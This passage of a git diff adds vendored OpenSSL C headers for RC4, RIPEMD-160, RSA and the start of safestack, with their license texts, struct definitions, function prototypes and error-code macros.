+ * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_RC4_H +#define HEADER_RC4_H + +#include /* OPENSSL_NO_RC4, RC4_INT */ +#ifdef OPENSSL_NO_RC4 +#error RC4 is disabled. +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct rc4_key_st + { + RC4_INT x,y; + RC4_INT data[256]; + } RC4_KEY; + + +const char *RC4_options(void); +#ifdef OPENSSL_FIPS +void private_RC4_set_key(RC4_KEY *key, int len, const unsigned char *data); +#endif +void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data); +void RC4(RC4_KEY *key, unsigned long len, const unsigned char *indata, + unsigned char *outdata); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/ripemd.h b/winstuff/openssl/ripemd.h new file mode 100644 index 0000000..3b6d043 --- /dev/null +++ b/winstuff/openssl/ripemd.h @@ -0,0 +1,106 @@ +/* crypto/ripemd/ripemd.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_RIPEMD_H +#define HEADER_RIPEMD_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef OPENSSL_NO_RIPEMD +#error RIPEMD is disabled. +#endif + +#if defined(OPENSSL_SYS_WIN16) || defined(__LP32__) +#define RIPEMD160_LONG unsigned long +#elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) +#define RIPEMD160_LONG unsigned long +#define RIPEMD160_LONG_LOG2 3 +#else +#define RIPEMD160_LONG unsigned int +#endif + +#define RIPEMD160_CBLOCK 64 +#define RIPEMD160_LBLOCK (RIPEMD160_CBLOCK/4) +#define RIPEMD160_DIGEST_LENGTH 20 + +typedef struct RIPEMD160state_st + { + RIPEMD160_LONG A,B,C,D,E; + RIPEMD160_LONG Nl,Nh; + RIPEMD160_LONG data[RIPEMD160_LBLOCK]; + unsigned int num; + } RIPEMD160_CTX; +#ifdef OPENSSL_FIPS +int private_RIPEMD160_Init(RIPEMD160_CTX *c); +#endif +int RIPEMD160_Init(RIPEMD160_CTX *c); +int RIPEMD160_Update(RIPEMD160_CTX *c, const void *data, size_t len); +int RIPEMD160_Final(unsigned char *md, RIPEMD160_CTX *c); +unsigned char *RIPEMD160(const unsigned char *d, size_t n, + unsigned char *md); +void RIPEMD160_Transform(RIPEMD160_CTX *c, const unsigned char *b); +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/rsa.h b/winstuff/openssl/rsa.h new file mode 100644 index 0000000..5bb932a --- /dev/null +++ b/winstuff/openssl/rsa.h @@ -0,0 +1,496 @@ +/* crypto/rsa/rsa.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_RSA_H +#define HEADER_RSA_H + +#include + +#ifndef OPENSSL_NO_BIO +#include +#endif +#include +#include +#ifndef OPENSSL_NO_DEPRECATED +#include +#endif + +#ifdef OPENSSL_NO_RSA +#error RSA is disabled. +#endif + +/* If this flag is set the RSA method is FIPS compliant and can be used + * in FIPS mode. This is set in the validated module method. If an + * application sets this flag in its own methods it is its reposibility + * to ensure the result is compliant. + */ + +#define RSA_FLAG_FIPS_METHOD 0x0400 + +/* If this flag is set the operations normally disabled in FIPS mode are + * permitted it is then the applications responsibility to ensure that the + * usage is compliant. + */ + +#define RSA_FLAG_NON_FIPS_ALLOW 0x0400 + +#ifdef OPENSSL_FIPS +#define FIPS_RSA_SIZE_T int +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Declared already in ossl_typ.h */ +/* typedef struct rsa_st RSA; */ +/* typedef struct rsa_meth_st RSA_METHOD; */ + +struct rsa_meth_st + { + const char *name; + int (*rsa_pub_enc)(int flen,const unsigned char *from, + unsigned char *to, + RSA *rsa,int padding); + int (*rsa_pub_dec)(int flen,const unsigned char *from, + unsigned char *to, + RSA *rsa,int padding); + int (*rsa_priv_enc)(int flen,const unsigned char *from, + unsigned char *to, + RSA *rsa,int padding); + int (*rsa_priv_dec)(int flen,const unsigned char *from, + unsigned char *to, + RSA *rsa,int padding); + int (*rsa_mod_exp)(BIGNUM *r0,const BIGNUM *I,RSA *rsa,BN_CTX *ctx); /* Can be null */ + int (*bn_mod_exp)(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + const BIGNUM *m, BN_CTX *ctx, + BN_MONT_CTX *m_ctx); /* Can be null */ + int (*init)(RSA *rsa); /* called at new */ + int (*finish)(RSA *rsa); /* called at free */ + int flags; /* RSA_METHOD_FLAG_* things */ + char *app_data; /* may be needed! */ +/* New sign and verify functions: some libraries don't allow arbitrary data + * to be signed/verified: this allows them to be used. Note: for this to work + * the RSA_public_decrypt() and RSA_private_encrypt() should *NOT* be used + * RSA_sign(), RSA_verify() should be used instead. Note: for backwards + * compatibility this functionality is only enabled if the RSA_FLAG_SIGN_VER + * option is set in 'flags'. + */ + int (*rsa_sign)(int type, + const unsigned char *m, unsigned int m_length, + unsigned char *sigret, unsigned int *siglen, const RSA *rsa); + int (*rsa_verify)(int dtype, + const unsigned char *m, unsigned int m_length, + unsigned char *sigbuf, unsigned int siglen, const RSA *rsa); +/* If this callback is NULL, the builtin software RSA key-gen will be used. This + * is for behavioural compatibility whilst the code gets rewired, but one day + * it would be nice to assume there are no such things as "builtin software" + * implementations. */ + int (*rsa_keygen)(RSA *rsa, int bits, BIGNUM *e, BN_GENCB *cb); + }; + +struct rsa_st + { + /* The first parameter is used to pickup errors where + * this is passed instead of aEVP_PKEY, it is set to 0 */ + int pad; + long version; + const RSA_METHOD *meth; + /* functional reference if 'meth' is ENGINE-provided */ + ENGINE *engine; + BIGNUM *n; + BIGNUM *e; + BIGNUM *d; + BIGNUM *p; + BIGNUM *q; + BIGNUM *dmp1; + BIGNUM *dmq1; + BIGNUM *iqmp; + /* be careful using this if the RSA structure is shared */ + CRYPTO_EX_DATA ex_data; + int references; + int flags; + + /* Used to cache montgomery values */ + BN_MONT_CTX *_method_mod_n; + BN_MONT_CTX *_method_mod_p; + BN_MONT_CTX *_method_mod_q; + + /* all BIGNUM values are actually in the following data, if it is not + * NULL */ + char *bignum_data; + BN_BLINDING *blinding; + BN_BLINDING *mt_blinding; + }; + +#ifndef OPENSSL_RSA_MAX_MODULUS_BITS +# define OPENSSL_RSA_MAX_MODULUS_BITS 16384 +#endif + +#define OPENSSL_RSA_FIPS_MIN_MODULUS_BITS 1024 + +#ifndef OPENSSL_RSA_SMALL_MODULUS_BITS +# define OPENSSL_RSA_SMALL_MODULUS_BITS 3072 +#endif +#ifndef OPENSSL_RSA_MAX_PUBEXP_BITS +# define OPENSSL_RSA_MAX_PUBEXP_BITS 64 /* exponent limit enforced for "large" modulus only */ +#endif + +#define RSA_3 0x3L +#define RSA_F4 0x10001L + +#define RSA_METHOD_FLAG_NO_CHECK 0x0001 /* don't check pub/private match */ + +#define RSA_FLAG_CACHE_PUBLIC 0x0002 +#define RSA_FLAG_CACHE_PRIVATE 0x0004 +#define RSA_FLAG_BLINDING 0x0008 +#define RSA_FLAG_THREAD_SAFE 0x0010 +/* This flag means the private key operations will be handled by rsa_mod_exp + * and that they do not depend on the private key components being present: + * for example a key stored in external hardware. Without this flag bn_mod_exp + * gets called when private key components are absent. + */ +#define RSA_FLAG_EXT_PKEY 0x0020 + +/* This flag in the RSA_METHOD enables the new rsa_sign, rsa_verify functions. + */ +#define RSA_FLAG_SIGN_VER 0x0040 + +#define RSA_FLAG_NO_BLINDING 0x0080 /* new with 0.9.6j and 0.9.7b; the built-in + * RSA implementation now uses blinding by + * default (ignoring RSA_FLAG_BLINDING), + * but other engines might not need it + */ +#define RSA_FLAG_NO_CONSTTIME 0x0100 /* new with 0.9.8f; the built-in RSA + * implementation now uses constant time + * operations by default in private key operations, + * e.g., constant time modular exponentiation, + * modular inverse without leaking branches, + * division without leaking branches. This + * flag disables these constant time + * operations and results in faster RSA + * private key operations. + */ +#ifndef OPENSSL_NO_DEPRECATED +#define RSA_FLAG_NO_EXP_CONSTTIME RSA_FLAG_NO_CONSTTIME /* deprecated name for the flag*/ + /* new with 0.9.7h; the built-in RSA + * implementation now uses constant time + * modular exponentiation for secret exponents + * by default. This flag causes the + * faster variable sliding window method to + * be used for all exponents. + */ +#endif + + +#define RSA_PKCS1_PADDING 1 +#define RSA_SSLV23_PADDING 2 +#define RSA_NO_PADDING 3 +#define RSA_PKCS1_OAEP_PADDING 4 +#define RSA_X931_PADDING 5 + +#define RSA_PKCS1_PADDING_SIZE 11 + +#define RSA_set_app_data(s,arg) RSA_set_ex_data(s,0,arg) +#define RSA_get_app_data(s) RSA_get_ex_data(s,0) + +RSA * RSA_new(void); +RSA * RSA_new_method(ENGINE *engine); +int RSA_size(const RSA *); + +/* Deprecated version */ +#ifndef OPENSSL_NO_DEPRECATED +RSA * RSA_generate_key(int bits, unsigned long e,void + (*callback)(int,int,void *),void *cb_arg); +#endif /* !defined(OPENSSL_NO_DEPRECATED) */ + +/* New version */ +int RSA_generate_key_ex(RSA *rsa, int bits, BIGNUM *e, BN_GENCB *cb); +int RSA_X931_derive_ex(RSA *rsa, BIGNUM *p1, BIGNUM *p2, BIGNUM *q1, BIGNUM *q2, + const BIGNUM *Xp1, const BIGNUM *Xp2, const BIGNUM *Xp, + const BIGNUM *Xq1, const BIGNUM *Xq2, const BIGNUM *Xq, + const BIGNUM *e, BN_GENCB *cb); +int RSA_X931_generate_key_ex(RSA *rsa, int bits, const BIGNUM *e, BN_GENCB *cb); + +int RSA_check_key(const RSA *); + /* next 4 return -1 on error */ +int RSA_public_encrypt(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa,int padding); +int RSA_private_encrypt(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa,int padding); +int RSA_public_decrypt(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa,int padding); +int RSA_private_decrypt(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa,int padding); +void RSA_free (RSA *r); +/* "up" the RSA object's reference count */ +int RSA_up_ref(RSA *r); + +int RSA_flags(const RSA *r); + +#ifdef OPENSSL_FIPS +RSA *FIPS_rsa_new(void); +void FIPS_rsa_free(RSA *r); +#endif + +void RSA_set_default_method(const RSA_METHOD *meth); +const RSA_METHOD *RSA_get_default_method(void); +const RSA_METHOD *RSA_get_method(const RSA *rsa); +int RSA_set_method(RSA *rsa, const RSA_METHOD *meth); + +/* This function needs the memory locking malloc callbacks to be installed */ +int RSA_memory_lock(RSA *r); + +/* these are the actual SSLeay RSA functions */ +const RSA_METHOD *RSA_PKCS1_SSLeay(void); + +const RSA_METHOD *RSA_null_method(void); + +DECLARE_ASN1_ENCODE_FUNCTIONS_const(RSA, RSAPublicKey) +DECLARE_ASN1_ENCODE_FUNCTIONS_const(RSA, RSAPrivateKey) + +#ifndef OPENSSL_NO_FP_API +int RSA_print_fp(FILE *fp, const RSA *r,int offset); +#endif + +#ifndef OPENSSL_NO_BIO +int RSA_print(BIO *bp, const RSA *r,int offset); +#endif + +#ifndef OPENSSL_NO_RC4 +int i2d_RSA_NET(const RSA *a, unsigned char **pp, + int (*cb)(char *buf, int len, const char *prompt, int verify), + int sgckey); +RSA *d2i_RSA_NET(RSA **a, const unsigned char **pp, long length, + int (*cb)(char *buf, int len, const char *prompt, int verify), + int sgckey); + +int i2d_Netscape_RSA(const RSA *a, unsigned char **pp, + int (*cb)(char *buf, int len, const char *prompt, + int verify)); +RSA *d2i_Netscape_RSA(RSA **a, const unsigned char **pp, long length, + int (*cb)(char *buf, int len, const char *prompt, + int verify)); +#endif + +/* The following 2 functions sign and verify a X509_SIG ASN1 object + * inside PKCS#1 padded RSA encryption */ +int RSA_sign(int type, const unsigned char *m, unsigned int m_length, + unsigned char *sigret, unsigned int *siglen, RSA *rsa); +int RSA_verify(int type, const unsigned char *m, unsigned int m_length, + unsigned char *sigbuf, unsigned int siglen, RSA *rsa); + +/* The following 2 function sign and verify a ASN1_OCTET_STRING + * object inside PKCS#1 padded RSA encryption */ +int RSA_sign_ASN1_OCTET_STRING(int type, + const unsigned char *m, unsigned int m_length, + unsigned char *sigret, unsigned int *siglen, RSA *rsa); +int RSA_verify_ASN1_OCTET_STRING(int type, + const unsigned char *m, unsigned int m_length, + unsigned char *sigbuf, unsigned int siglen, RSA *rsa); + +int RSA_blinding_on(RSA *rsa, BN_CTX *ctx); +void RSA_blinding_off(RSA *rsa); +BN_BLINDING *RSA_setup_blinding(RSA *rsa, BN_CTX *ctx); + +int RSA_padding_add_PKCS1_type_1(unsigned char *to,int tlen, + const unsigned char *f,int fl); +int RSA_padding_check_PKCS1_type_1(unsigned char *to,int tlen, + const unsigned char *f,int fl,int rsa_len); +int RSA_padding_add_PKCS1_type_2(unsigned char *to,int tlen, + const unsigned char *f,int fl); +int RSA_padding_check_PKCS1_type_2(unsigned char *to,int tlen, + const unsigned char *f,int fl,int rsa_len); +int PKCS1_MGF1(unsigned char *mask, long len, + const unsigned char *seed, long seedlen, const EVP_MD *dgst); +int RSA_padding_add_PKCS1_OAEP(unsigned char *to,int tlen, + const unsigned char *f,int fl, + const unsigned char *p,int pl); +int RSA_padding_check_PKCS1_OAEP(unsigned char *to,int tlen, + const unsigned char *f,int fl,int rsa_len, + const unsigned char *p,int pl); +int RSA_padding_add_SSLv23(unsigned char *to,int tlen, + const unsigned char *f,int fl); +int RSA_padding_check_SSLv23(unsigned char *to,int tlen, + const unsigned char *f,int fl,int rsa_len); +int RSA_padding_add_none(unsigned char *to,int tlen, + const unsigned char *f,int fl); +int RSA_padding_check_none(unsigned char *to,int tlen, + const unsigned char *f,int fl,int rsa_len); +int RSA_padding_add_X931(unsigned char *to,int tlen, + const unsigned char *f,int fl); +int RSA_padding_check_X931(unsigned char *to,int tlen, + const unsigned char *f,int fl,int rsa_len); +int RSA_X931_hash_id(int nid); + +int RSA_verify_PKCS1_PSS(RSA *rsa, const unsigned char *mHash, + const EVP_MD *Hash, const unsigned char *EM, int sLen); +int RSA_padding_add_PKCS1_PSS(RSA *rsa, unsigned char *EM, + const unsigned char *mHash, + const EVP_MD *Hash, int sLen); + +int RSA_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int RSA_set_ex_data(RSA *r,int idx,void *arg); +void *RSA_get_ex_data(const RSA *r, int idx); + +RSA *RSAPublicKey_dup(RSA *rsa); +RSA *RSAPrivateKey_dup(RSA *rsa); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_RSA_strings(void); + +/* Error codes for the RSA functions. */ + +/* Function codes. */ +#define RSA_F_FIPS_RSA_SIGN 140 +#define RSA_F_FIPS_RSA_VERIFY 141 +#define RSA_F_MEMORY_LOCK 100 +#define RSA_F_RSA_BUILTIN_KEYGEN 129 +#define RSA_F_RSA_CHECK_KEY 123 +#define RSA_F_RSA_EAY_PRIVATE_DECRYPT 101 +#define RSA_F_RSA_EAY_PRIVATE_ENCRYPT 102 +#define RSA_F_RSA_EAY_PUBLIC_DECRYPT 103 +#define RSA_F_RSA_EAY_PUBLIC_ENCRYPT 104 +#define RSA_F_RSA_GENERATE_KEY 105 +#define RSA_F_RSA_MEMORY_LOCK 130 +#define RSA_F_RSA_NEW_METHOD 106 +#define RSA_F_RSA_NULL 124 +#define RSA_F_RSA_NULL_MOD_EXP 131 +#define RSA_F_RSA_NULL_PRIVATE_DECRYPT 132 +#define RSA_F_RSA_NULL_PRIVATE_ENCRYPT 133 +#define RSA_F_RSA_NULL_PUBLIC_DECRYPT 134 +#define RSA_F_RSA_NULL_PUBLIC_ENCRYPT 135 +#define RSA_F_RSA_PADDING_ADD_NONE 107 +#define RSA_F_RSA_PADDING_ADD_PKCS1_OAEP 121 +#define RSA_F_RSA_PADDING_ADD_PKCS1_PSS 125 +#define RSA_F_RSA_PADDING_ADD_PKCS1_TYPE_1 108 +#define RSA_F_RSA_PADDING_ADD_PKCS1_TYPE_2 109 +#define RSA_F_RSA_PADDING_ADD_SSLV23 110 +#define RSA_F_RSA_PADDING_ADD_X931 127 +#define RSA_F_RSA_PADDING_CHECK_NONE 111 +#define RSA_F_RSA_PADDING_CHECK_PKCS1_OAEP 122 +#define RSA_F_RSA_PADDING_CHECK_PKCS1_TYPE_1 112 +#define RSA_F_RSA_PADDING_CHECK_PKCS1_TYPE_2 113 +#define RSA_F_RSA_PADDING_CHECK_SSLV23 114 +#define RSA_F_RSA_PADDING_CHECK_X931 128 +#define RSA_F_RSA_PRINT 115 +#define RSA_F_RSA_PRINT_FP 116 +#define RSA_F_RSA_PRIVATE_ENCRYPT 137 +#define RSA_F_RSA_PUBLIC_DECRYPT 138 +#define RSA_F_RSA_SETUP_BLINDING 136 +#define RSA_F_RSA_SET_DEFAULT_METHOD 139 +#define RSA_F_RSA_SET_METHOD 142 +#define RSA_F_RSA_SIGN 117 +#define RSA_F_RSA_SIGN_ASN1_OCTET_STRING 118 +#define RSA_F_RSA_VERIFY 119 +#define RSA_F_RSA_VERIFY_ASN1_OCTET_STRING 120 +#define RSA_F_RSA_VERIFY_PKCS1_PSS 126 + +/* Reason codes. */ +#define RSA_R_ALGORITHM_MISMATCH 100 +#define RSA_R_BAD_E_VALUE 101 +#define RSA_R_BAD_FIXED_HEADER_DECRYPT 102 +#define RSA_R_BAD_PAD_BYTE_COUNT 103 +#define RSA_R_BAD_SIGNATURE 104 +#define RSA_R_BLOCK_TYPE_IS_NOT_01 106 +#define RSA_R_BLOCK_TYPE_IS_NOT_02 107 +#define RSA_R_DATA_GREATER_THAN_MOD_LEN 108 +#define RSA_R_DATA_TOO_LARGE 109 +#define RSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE 110 +#define RSA_R_DATA_TOO_LARGE_FOR_MODULUS 132 +#define RSA_R_DATA_TOO_SMALL 111 +#define RSA_R_DATA_TOO_SMALL_FOR_KEY_SIZE 122 +#define RSA_R_DIGEST_TOO_BIG_FOR_RSA_KEY 112 +#define RSA_R_DMP1_NOT_CONGRUENT_TO_D 124 +#define RSA_R_DMQ1_NOT_CONGRUENT_TO_D 125 +#define RSA_R_D_E_NOT_CONGRUENT_TO_1 123 +#define RSA_R_FIRST_OCTET_INVALID 133 +#define RSA_R_INVALID_HEADER 137 +#define RSA_R_INVALID_MESSAGE_LENGTH 131 +#define RSA_R_INVALID_PADDING 138 +#define RSA_R_INVALID_TRAILER 139 +#define RSA_R_IQMP_NOT_INVERSE_OF_Q 126 +#define RSA_R_KEY_SIZE_TOO_SMALL 120 +#define RSA_R_LAST_OCTET_INVALID 134 +#define RSA_R_MODULUS_TOO_LARGE 105 +#define RSA_R_NON_FIPS_METHOD 141 +#define RSA_R_NO_PUBLIC_EXPONENT 140 +#define RSA_R_NULL_BEFORE_BLOCK_MISSING 113 +#define RSA_R_N_DOES_NOT_EQUAL_P_Q 127 +#define RSA_R_OAEP_DECODING_ERROR 121 +#define RSA_R_OPERATION_NOT_ALLOWED_IN_FIPS_MODE 142 +#define RSA_R_PADDING_CHECK_FAILED 114 +#define RSA_R_P_NOT_PRIME 128 +#define RSA_R_Q_NOT_PRIME 129 +#define RSA_R_RSA_OPERATIONS_NOT_SUPPORTED 130 +#define RSA_R_SLEN_CHECK_FAILED 136 +#define RSA_R_SLEN_RECOVERY_FAILED 135 +#define RSA_R_SSLV3_ROLLBACK_ATTACK 115 +#define RSA_R_THE_ASN1_OBJECT_IDENTIFIER_IS_NOT_KNOWN_FOR_THIS_MD 116 +#define RSA_R_UNKNOWN_ALGORITHM_TYPE 117 +#define RSA_R_UNKNOWN_PADDING_TYPE 118 +#define RSA_R_WRONG_SIGNATURE_LENGTH 119 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/safestack.h b/winstuff/openssl/safestack.h new file mode 100644 index 0000000..40b1790 --- /dev/null +++ b/winstuff/openssl/safestack.h @@ -0,0 +1,2030 @@ +/* ==================================================================== + * Copyright (c) 1999 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_SAFESTACK_H +#define HEADER_SAFESTACK_H + +#include + +#ifdef DEBUG_SAFESTACK + +#ifndef CHECKED_PTR_OF +#define CHECKED_PTR_OF(type, p) \ + ((void*) (1 ? p : (type*)0)) +#endif + +#define CHECKED_SK_FREE_FUNC(type, p) \ + ((void (*)(void *)) ((1 ? p : (void (*)(type *))0))) + +#define CHECKED_SK_CMP_FUNC(type, p) \ + ((int (*)(const char * const *, const char * const *)) \ + ((1 ? p : (int (*)(const type * const *, const type * const *))0))) + +#define STACK_OF(type) struct stack_st_##type +#define PREDECLARE_STACK_OF(type) STACK_OF(type); + +#define DECLARE_STACK_OF(type) \ +STACK_OF(type) \ + { \ + STACK stack; \ + }; + +#define IMPLEMENT_STACK_OF(type) /* nada (obsolete in new safestack approach)*/ + +/* SKM_sk_... 